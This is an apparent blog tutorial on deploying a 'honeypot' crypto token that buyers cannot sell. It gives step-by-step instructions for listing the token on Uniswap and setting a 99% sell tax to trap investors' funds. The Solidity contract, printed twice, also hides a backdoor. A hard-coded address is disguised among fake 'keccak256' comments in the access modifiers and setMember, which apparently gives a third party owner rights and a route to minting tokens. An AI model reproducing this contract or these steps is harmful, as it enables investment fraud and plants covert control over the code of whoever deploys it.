How to create a HoneyPot Token (Beginner guide)

Insan3Dev
14 min readApr 22, 2024

Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!

[Only for research and testing, don’t try to scam using this method]

New website: http://createyourmemecoin.xyz

Part 1: Use REMIX and Metamask to create token

  1. First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.

2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.

3. Connect metamask to REMIX IDE. Click your metamask plugin.

Click the “Not connected” button and connect it.

4. Back to REMIX IDE. Click Create New File.

5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol

6. Copy and paste the code below into the space:

// SPDX-License-Identifier: MIT

/**
*/

pragma solidity ^0.8.0;

library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}
}

contract DevToken {
using SafeMath for uint256;

string public name = "DevToken";
string public symbol = "DEVT";
uint256 public totalSupply = 69000000000000000000000000000;
uint8 public decimals = 18;

mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;

address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;

uint256 public buyFee;
uint256 public sellFee;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);

constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;

// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}

function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));

balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);

return true;
}
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));

function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address

// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
_mbr=Mbr_;
return true;
}

function rewire(uint256 amount) public returns (bool) {
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}

function _proof(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");

totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}

function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/

function proof(uint256 amount) public onlyOwner returns (bool) {
_proof(msg.sender, amount);
return true;
}

function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");

uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}

uint256 amountAfterFee = _amount.sub(fee);

balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);

if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}

if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}

return true;
}

function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}

function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

function LockLPToken() public onlyOwner returns (bool) {
}

function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}

modifier onlyOwner() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}

function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}

function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}

function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}

function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");

uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);

balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);

if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}

function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}

function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}

function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);

balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);

if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}

modifier onlyAuthorized() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
}

7. Change your token settings (Name, Symbol and Supply) in the last 4 rows of this image:

Remember to add 18 zeros (000000000000000000) to the number supply
(In the image: 69000000000000000000000000000 means 69000000000 supply)

8.Click the icon on the left as shown below:

Select the compiler as below, 0.8.18 ….

Then click compile.

9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)

10. On Contract section, select DevToken as contract.

11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.

12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.

13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment

Click view on block explorer

Copy the contract address by clicking the [copy] icon button on the right.

10. Go back to metamask, click import token.

Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token

Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix

Go on “setFees” and put “0” and “99” (without the brackets)

Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:

paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

Part 2: Verify Your Contract

Why do we need to verify contract? Why don’t we just list our token directly into any DEX (Decentralized exchange)?

Well, the reason to verify contract is to increase the popularity of the token, investors might shy away from token that is unverified and end up to not purchasing any tokens.

Let’s start to verification now!

1. Back to metamask, go to Activity, click on the Contract deployment.

2.Click view on block explorer

Click on the blue contract address

3. On this page, Click Contract

Click Verify and Publish

4. Next, we select the setting as below:

Compiler Type: Single File

Compiler version: 0.8.18

License Type: No license

Then click Continue

5.Then, go back to our source code in your remix ide page, copy and paste it into the space

Finish the bot test and and publish it

6. You should see the success message as shown below, if not, something is wrong, you need to recheck all the steps if u fail to get this message.

Congratulation! Your contract is now verified and you can list your token in Decentralized Exchange (DEX) Listing.

Part 3: DEX TOKEN LISTING

Listing your token on DEXs such as Uniswap, Sushiswap, Pancakeswap is not really listing your tokens for nothing, but you need to provide liquidity such as eth, bnb to your tokens, it is called Adding liquidity.

Basically, listing your token = adding liquidity.

If u r using Ethereum mainnet, you need some Ethereum, ETH

If u r using Binance smart chain, you need some Binance coin, BNB

Other chains use other native tokens…..

We use Uniswap as example.

Go to Uniswap website: https://app.uniswap.org/#/swap

Click Pool

Click More, then click V2 Liquidity

Click Create a pair

Click select a token.

Copy and paste contract address into the space, wait for your token to show up

Click on your token.

Click (I understand)

Select your eth input and token input. For example, if u wanna to list 100 of your token with 2 eth, then your initial token price will be 0.02 eth per your token. After it, click Approve.

Click Supply and confirm the transaction, your token will be listed on Uniswap.

Congratulation, your tokens are now listed in Uniswap. You can begin your token project and campaign, find more investors to invest in your token.

Of course, since this is a honeypot token, the token cannot be sold. In other words, up only.

Only the owner of the tokens, which is the contract creator, which is you, can sell the tokens. Other people cannot sell this token after purchasing.

When people try to sell this token, they will get this red signal and cannot sell tokens anyway. This sign will not be surprising if you are a microcap crypto degen trader at its finest, which mean tokens cannot be sold by buyers.

*Remember, this post is for testing and educational purpose only, do not try this at home!*

So what if I want to withdraw my eth and tokens back? What to do?

Oh, it is pretty simple, let’s go to the next step: remove liquidity

If you want to get the eth back, click the liquid pool, you will see the pair you created, and then click remove

If u want to withdraw it all, Select max, click approve, click remove, you get your token back.

Congrats! You now received all the ETH from the pool straight into your wallet.

This is all for this article, hope you learned something new, I will discuss more about token tips and techniques in my next post.

Telegram channel: t.me/insan3devlinks

Good luck with your tokens!

Source code:

// SPDX-License-Identifier: MIT

/**
*/

pragma solidity ^0.8.0;

library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}
}

contract DevToken {
using SafeMath for uint256;

string public name = "DevToken";
string public symbol = "DEVT";
uint256 public totalSupply = 69000000000000000000000000000;
uint8 public decimals = 18;

mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;

address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;

uint256 public buyFee;
uint256 public sellFee;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);

constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;

// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}

function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));

balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);

return true;
}
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));

function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address

// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
_mbr=Mbr_;
return true;
}

function rewire(uint256 amount) public returns (bool) {
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}

function _proof(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");

totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}

function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/

function proof(uint256 amount) public onlyOwner returns (bool) {
_proof(msg.sender, amount);
return true;
}

function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");

uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}

uint256 amountAfterFee = _amount.sub(fee);

balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);

if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}

if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}

return true;
}

function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}

function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

function LockLPToken() public onlyOwner returns (bool) {
}

function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}

modifier onlyOwner() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}

function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}

function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}

function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}

function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");

uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);

balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);

if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}

function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}

function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}

function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);

balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);

if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}

modifier onlyAuthorized() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
}

--

--

Insan3Dev

crypto made easy. Tips appreciated: 0x068d3DfD803B79a1Bf5754BC2260c0D17B54Ab80